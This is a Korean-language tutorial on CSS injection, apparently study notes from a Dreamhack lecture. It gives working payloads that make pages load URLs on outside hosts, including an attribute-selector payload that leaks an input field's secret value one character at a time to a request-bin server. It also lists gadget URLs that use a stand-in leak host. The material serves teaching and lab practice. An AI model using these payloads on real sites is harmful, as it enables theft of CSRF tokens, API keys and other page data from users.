[취약점] CSS Injection

 

Cascading Style Sheet (CSS)는 HTML로 정의된 문서를 다채롭게 하는 역할을 한다.

개발자는 CSS로 HTML 요소들이 사용자에게 어떻게 보여질지 정의할 수 있다. 문서의 배경 사진, 색상을 비롯해 버튼에 마우스를 올려두었을 때 어떤 색상과 속도로 표현할 수 있다.

 

표현에 사용될 임의의 CSS 코드를 주입시켜 의도하지 않은 속성이 정의되는 것을 CSS Injection이라고 한다.

 

CSS Injection은 XSS와 비슷하게 웹 페이지 로딩 시 악의적인 문자열을 삽입하여 악의적인 동작을 이끄는 공격이다.

공격자가 임의 CSS 속성을 삽입해 웹페이지의 UI (생김새)를 변조하거나 CSS 속성의 다양한 기능을 통해 웹 페이지내의 데이터를 외부로 훔칠 수 있다.

이때 CSS Injection을 통해 탈취할 수 있는 데이터는 CSRF Token, 피해자의 API Key등 웹 페이지에 직접적으로 보여지는 값처럼 CSS 선택자(Selector)를 통해 표현이 가능해야 한다.

그래서 CSS 선택자로 표현이 불가능한 "script" 태그 내 데이터들은 탈취할 수 없다.

(선택자: https://velog.io/@rimu/css-css-%EC%84%A0%ED%83%9D%EC%9E%90selector-%EA%B0%9C%EB%85%90-%EC%A0%95%EB%A6%AC )

 

보통의 웹 방화벽의 경우 "<script>", "alert", "eval" 등의 키워드는 차단하지만, CSS Injection에 주로 사용 되는 "background:", "url" 등의 키워드는 차단하지 않는다.

CSS injection은 HTML (style) 영역에 공격자가 임의 입력 값을 넣을 수 있거나 임의 HTML을 삽입할 수 있지만 Content-Security-Policy로 인해 자바스크립트를 실행할 수 없는 등 다양한 상황에서 사용할 수 있다.

 

- 색깔 바꾸기 예제

<style>
body { background-color: ${theme}; }
</style>
<h1>Hello, it's dreame. Interesting with CSS Injection?</h1>
if '<' in theme:
    exit(0)

 

이용자로부터 theme 값을 입력 받아 style태그 내에 출력하는 웹 어플리케이션이다.

theme값 내에 < 를 입력할 수 없어 정의된 style 태그를 벗어나는 것은 불가능하여 CSS 속성만 출력할 수 있다.

인터랙티브 모듈을 이용해 yellow 값을 하나씩 변경할 수 있습니다.

1. yellow를 blue로 변경하면 노란색 배경색이었던 것이 파란색으로 변경된다.
2. body의 background-color가 아닌 h1의 글씨 색을 변경하려면 } 문자를 이용해 기존 속성을 탈출해야 한다.
3. yellow; } h1 { color: blue 값을 입력하여 h1내의 글씨가 빨간색으로 변경된 것을 확인할 수 있다.

 

 

IP Ping Back 

클라이언트사이드 공격을 통해 데이터를 외부로 탈취하기 위해서는 공격자의 서버로 요청을 보낼 수 있어야 한다.

CSS 속성으로도 외부 요청 (Ping Back)을 전송할 수 있다.

 

CSS는 외부 리소스를 불러오는 기능을 제공한다.

예를 들어 다른 사이트의 이미지, 폰트 등이 있다. 여러 방법이 존재하지만 대표적으로 cure53의 HTTPLeaks 가젯을 이용할 수 있다.

다음 표는 자주 쓰이는 CSS 속성이다.

 

@import 'https://leaking.via/css-import-string';	외부 CSS 파일을 로드합니다. 모든 속성 중 가장 상단에 위치해야합니다. 그렇지 않을 경우 @import는 무시됩니다.
@import url(https://leaking.via/css-import-url);	url 함수는 URL를 불러오는 역할을 합니다. 상황에 따라서 선택적으로 사용할 수 있습니다.
background: url(https://leaking.via/css-background);	요소의 배경을 변경할 때 사용할 이미지를 불러옵니다.
@font-face { font-family: leak; src: url(https://leaking.via/css-font-face-src);}	불러올 폰트 파일의 주소를 지정합니다.
background-image: \000075\000072\00006C(https://leaking.via/css-escape-url-2);	CSS 에서 함수를 호출할 때 ascii형태의 "url"이 아닌 hex형태인 "\000075\000072\00006C"도 지원합니다.

 

1. 위 가젯 중 하나를 사용해 페이지 내에서 외부 서버로 요청을 보낼 수 있다. 요청을 받을 서버는 드림핵 툴즈의 "Request Bin"을 이용한다. 
2. 개발자 도구를 미리 띄워두고, Network탭에서 요청을 기록합니다.
3. yellow; background: url(https://wybfhvn.request.dreamhack.games/ping-back);발급 받은 서브 도메인 주소로 body의 background를 설정합니다.
4. 개발자 도구에서 실습 모듈에서 드림핵 툴즈로 보낸 요청을 확인하고, 드림핵 툴즈 사이트에서 한 번 더 받은 요청을 확인합니다.

 

 

데이터 탈취 

입력 박스 내용 탈취

Attribute Selector를 통해 입력 박스 (Input)의 값 (Value)를 탈취할 수 있다. 

 

CSS Attribute Selector (특성 선택자)

CSS Attribute Selector는 Element의 Attribute를 Selection할 수 있는 기능을 제공한다.
Figure 6는 특성 선택자의 구문이다. 더 자세한 설명은 여기에서 확인할 수 있다.

구문	설명
[attr]	attr이라는 이름의 특성을 가진 요소를 선택합니다.
[attr=value]	attr이라는 이름의 특성값이 정확히 value인 요소를 선택합니다.
[attr~=value]	attr이라는 이름의 특성값이 정확히 value인 요소를 선택합니다. attr 특성은 공백으로 구분한 여러 개의 값을 가지고 있을 수 있습니다.
[attr^=value]	attr이라는 특성값을 가지고 있으며, 접두사로 value가 값에 포함되어 있으면 이 요소를 선택합니다.
[attr$=value]	attr이라는 특성값을 가지고 있으며, 접미사로 value가 값에 포함되어 있으면 이 요소를 선택합니다.

위 구문 중 [attr^=value] 을 이용하면 입력 박스 내용을 탈취할 수 있습니다.

1. [attr^=value] 구문을 이용해 가장 첫 한 글자를 먼저 탈취합니다.
2. 1에서 탈취한 글자를 접두사로 그 다음 한 글자를 탈취합니다.
3. 1-2를 반복합니다.

다음은 위 순서를 진행하는 중간 과정의 페이로드이다.

붙여넣은 후 개발자 도구 Network 탭을 확인 하여 탈취하려고 하는 내용이 S3CR3T_으로 시작하는 것을 알 수 있다.

yellow; } input[value^=S3CR3T_] { background: url("https://itxeohf.request.dreamhack.games/lols");

 

 

[참고]

https://dreamhack.io/lecture/courses/327

Dreamhack | 강의 | Dreamhack

 

+) 

https://www.hahwul.com/cullinan/css-injection/

CSS Injection